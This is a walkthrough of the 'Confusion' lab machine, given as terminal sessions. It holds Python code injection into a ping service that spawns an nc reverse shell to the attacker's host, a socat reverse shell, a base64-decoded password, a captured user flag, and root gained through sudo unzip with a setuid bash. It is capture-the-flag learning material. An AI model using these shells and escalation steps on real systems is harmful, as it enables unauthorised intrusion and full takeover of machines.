Confusion

```
┌──(root㉿kali)-[/home/guel]
└─# nmap -sS -p- -Pn -n -vvv --min-rate 5000 192.168.0.157
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-18 23:49 EDT
Initiating ARP Ping Scan at 23:49
Scanning 192.168.0.157 [1 port]
Completed ARP Ping Scan at 23:49, 0.09s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 23:49
Scanning 192.168.0.157 [65535 ports]
Discovered open port 22/tcp on 192.168.0.157
Discovered open port 32145/tcp on 192.168.0.157
Increasing send delay for 192.168.0.157 from 0 to 5 due to 10554 out of 35
Increasing send delay for 192.168.0.157 from 5 to 10 due to 1225 out of 40
Increasing send delay for 192.168.0.157 from 10 to 20 due to 2200 out of 7
Increasing send delay for 192.168.0.157 from 20 to 40 due to 1741 out of 5
Increasing send delay for 192.168.0.157 from 40 to 80 due to max_successfu
Increasing send delay for 192.168.0.157 from 80 to 160 due to max_success
Completed SYN Stealth Scan at 23:50, 37.73s elapsed (65535 total ports)
Nmap scan report for 192.168.0.157
Host is up, received arp-response (0.0065s latency).
Scanned at 2025-03-18 23:49:58 EDT for 38s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 64
32145/tcp open  unknown syn-ack ttl 64
MAC Address: 08:00:27:3C:E2:D7 (PCS Systemtechnik/Oracle VirtualBox virtua

Read data files from: /usr/share/nmap
```

```
┌──(root㉿kali)-[/home/guel]
└─# nmap -sCV -p22,32145 -Pn -n -vvv --min-rate 5000 192.168.0.157
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-18 23:51 EDT
```

```
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 64 OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 04:32:4e:fc:d9:70:a0:8a:47:4d:f5:a6:86:aa:bd:5f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6RGwsjzS9gaIeAjKn4Sji4PPsMFGCPhFPaPSernQ8YWXBxLeTFXCU
qXDZNqj34ajh2QeBetJILw/0t1oQzFyQm3b8GYc8wyThTti9UCJ+ye4BGNQybO5os8z13bjbQpSokQVnXsFC6aoc07jlY+
2GzQdrNq+fkR3o2Xg8gKS0bnG0L4×26YofTE9xzDz8IBPOBlKcWi5AjoEGIw5jrkyepMZ4wiKx93Wcf7tgs4UXko/DBMIq
b3CPlvEFt+FzO3KB7edS+NkJsxT0dQ8vpqDLP7g2/EgvpQbz26NP3mW7FBpXZw+c/oZDKtc/1kClmps1ec=
|   256 70:c2:bd:7d:b9:25:6d:36:92:fd:2a:8e:64:24:bd:73 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPs6hmqgdNRws5z+OBon
XMrs=
|   256 84:28:9c:40:fe:c4:26:bf:55:61:4c:58:c5:23:77:35 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEiGwWvjMgU6T16npSQm1H/nTi2KLC/7PHWR9ODmFXOq
32145/tcp open  unknown syn-ack ttl 64
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL:
|     Welcome To The My Magic World
|     many times you want to ping?:
|   GenericLines:
|     Welcome To The My Magic World
|     many times you want to ping?: Traceback (most recent call last):
|     File "/opt/ping.py", line 7, in <module>
|     no_of_packets = int(input("How many times you want to ping?: "))
|     File "<string>", line 0
|     SyntaxError: unexpected EOF while parsing
|   GetRequest:
|     Welcome To The My Magic World
|     many times you want to ping?: Traceback (most recent call last):
|     File "/opt/ping.py", line 7, in <module>
|     no_of_packets = int(input("How many times you want to ping?: "))
|     File "<string>", line 1, in <module>
|     NameError: name 'GET' is not defined
|   HTTPOptions:
|     Welcome To The My Magic World
|   Help:
|     Welcome To The My Magic World
|     many times you want to ping?: Traceback (most recent call last):
|     File "/opt/ping.py", line 7, in <module>
|     no_of_packets = int(input("How many times you want to ping?: "))
```

```
┌──(root㉿kali)-[/home/guel]
└─# nc 192.168.0.157 32145
Welcome To The My Magic World

How many times you want to ping?: 3
PING localhost(localhost (::1)) 56 data bytes
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.035 ms
^C
```

```
┌──(root㉿kali)-[/home/guel]
└─# nc 192.168.0.157 32145
Welcome To The My Magic World

How many times you want to ping?:  __import__('os').system('nc -e /bin/bash 192.168.0.36 443')

┌──(root㉿kali)-[/home/guel]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.0.36] from (UNKNOWN) [192.168.0.157] 34516
whoami
iamroot
id
uid=1002(iamroot) gid=1002(iamroot) groups=1002(iamroot)
```

```
┌──(guel㉿kali)-[~]
└─$ ssh sammy@192.168.0.157
The authenticity of host '192.168.0.157 (192.168.0.157)' can't be established.
ED25519 key fingerprint is SHA256:xoEepKkfNsbYSzdg771V220mP3nX8LQHdAchW/p1W2U.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.157' (ED25519) to the list of known hosts.
Have you ever thought?
     If
 Cindrella's
   Shoe Fit
  Perfectly
   Then Why
  Did It Fall
    Off?
still:confused?
Then go for Port 32145 :)
sammy@192.168.0.157's password:
```

```
┌──(guel㉿kali)-[~]
└─$ ssh still@192.168.0.157
Have you ever thought?
      If
 Cindrella's
   Shoe Fit
  Perfectly
    Then Why
   Did It Fall
     Off?
still:confused?
Then go for Port 32145 :)
still@192.168.0.157's password:
Permission denied, please try again.
still@192.168.0.157's password:
Linux confusion 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Oct 25 15:29:31 2021 from 192.168.1.5
Welcome To My Secret Most Secure Shell :p
id
uid=0(root) gid=0(root) groups=0(root)
Connection to 192.168.0.157 closed.
```

```
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 19 01:31:06 2025 from 192.168.0.36
Welcome To My Secret Most Secure Shell :p
which socat
/usr/bin/socat command not found
Connection to 192.168.0.157 closed.

┌──(guel㉿kali)-[~]
└─$ ssh still@192.168.0.157
Have you ever thought?
     If
 Cindrella's
   Shoe Fit
  Perfectly
    Then Why
   Did It Fall
     Off?
still:confused?
Then go for Port 32145 :)
still@192.168.0.157's password:
Linux confusion 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 19 01:32:05 2025 from 192.168.0.36
Welcome To My Secret Most Secure Shell :p
socat TCP:192.168.0.36:2222 EXEC:/bin/bash
```

```
┌──(guel㉿kali)-[~]
└─$ nc -lvnp 2222
listening on [any] 2222 ...
connect to [192.168.0.36] from (UNKNOWN) [192.168.0.157] 38256
whoami
still
```

```
-rw-r--r-- 1 still still 3526 Aug  4  2021 .bashrc
-r-------- 1 sammy sammy   24 Oct 25  2021 password.txt
-rw-r--r-- 1 still still  807 Aug  4  2021 .profile
-rw------- 1 still still    0 Oct 25  2021 .python_history
-r-x--x--x 1 still still  521 Oct 25  2021 SoMuchConfusion
sudo -l
Matching Defaults entries for still on confusion:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:
/bin

User still may run the following commands on confusion:
    (sammy) NOPASSWD: /usr/bin/python3 /opt/password.py
sudo -u sammy /usr/bin/python3 /opt/password.py
QWJCYXJQbmFQZW5weFpsQ25mZmpiZXEK
ls -l /opt
total 8
-rwx--x--- 1 sammy   sammy   478 Oct 25  2021 password.py
-rwx------ 1 iamroot iamroot 373 Oct 25  2021 ping.py
```

```
┌──(guel㉿kali)-[~]
└─$ echo 'QWJCYXJQbmFQZW5weFpsQ25mZmpiZXEK'|base64 -d; echo
AbBarPnaPenpxZlCnffjbeq
```


```
└─$ ssh sammy@192.168.0.157
Have you ever thought?
     If
 Cindrella's
   Shoe Fit
  Perfectly
    Then Why
  Did It Fall
     Off?
still:confused?
Then go for Port 32145 :)
sammy@192.168.0.157's password:
Linux confusion 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
sammy@confusion:~$ whoami
sammy
sammy@confusion:~$ id
uid=1000(sammy) gid=1000(sammy) groups=1000(sammy),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth)
sammy@confusion:~$
```

```
sammy@confusion:~$ cat user.txt
806451a0d37e94c20ea85f4e8e9ad3b8
sammy@confusion:~$
```

```
sammy@confusion:~$ sudo -l
Matching Defaults entries for sammy on confusion:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sammy may run the following commands on confusion:
    (root) NOPASSWD: /usr/bin/unzip
```

```
sammy@confusion:~$ cp /bin/bash .
```

```
┌──(root㉿kali)-[/home/guel]
└─# wget http://192.168.0.157:2121/bash
--2025-03-19 02:05:43--  http://192.168.0.157:2121/bash
Connecting to 192.168.0.157:2121... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1234376 (1.2M)
Saving to: 'bash'

bash                100%[===================>]   1.18M  --.-KB/s    in 0.1s

2025-03-19 02:05:43 (9.42 MB/s) - 'bash' saved [1234376/1234376]
```

```
┌──(root㉿kali)-[/home/guel]
└─# chmod +s bash

┌──(root㉿kali)-[/home/guel]
└─# ls
bash  Desktop  Documents  Downloads  Music  Pictures
```

```
┌──(root㉿kali)-[/home/guel]
└─# zip shellroot.zip bash
  adding: bash (deflated 52%)

┌──(root㉿kali)-[/home/guel]
└─# php -S 0.0.0.0:5000
[Wed Mar 19 02:10:33 2025] PHP 8.4.4 Development Server (http://0.0.0.0:5000) started
[Wed Mar 19 02:11:00 2025] 192.168.0.157:58864 Accepted
[Wed Mar 19 02:11:00 2025] 192.168.0.157:58864 [200]: GET /shellroot.zip
[Wed Mar 19 02:11:00 2025] 192.168.0.157:58864 Closing
```


sammy@confusion:~$ wget http://192.168.0.36:5000/shellroot.zip
--2025-03-19 02:11:08-- http://192.168.0.36:5000/shellroot.zip
Connecting to 192.168.0.36:5000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 591345 (577K) [application/zip]
Saving to: 'shellroot.zip'
shellroot.zip 100%[
2025-03-19 02:11:08 (14.6 MB/s) - 'shellroot.zip' saved [591345/591345]
sammy@confusion:~$ ls
shellroot.zip user.txt
sammy@confusion:~$ sudo -l
Matching Defaults entries for sammy on confusion:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sammy may run the following commands on confusion:
(root) NOPASSWD: /usr/bin/unzip
sammy@confusion:~$ sudo /usr/bin/unzip -K shellroot.zip
Archive: shellroot.zip
inflating: bash
sammy@confusion:~$ ls
bash shellroot.zip user.txt
sammy@confusion:~$ ./bash -p
bash-5.1# whoami
root
bash-5.1#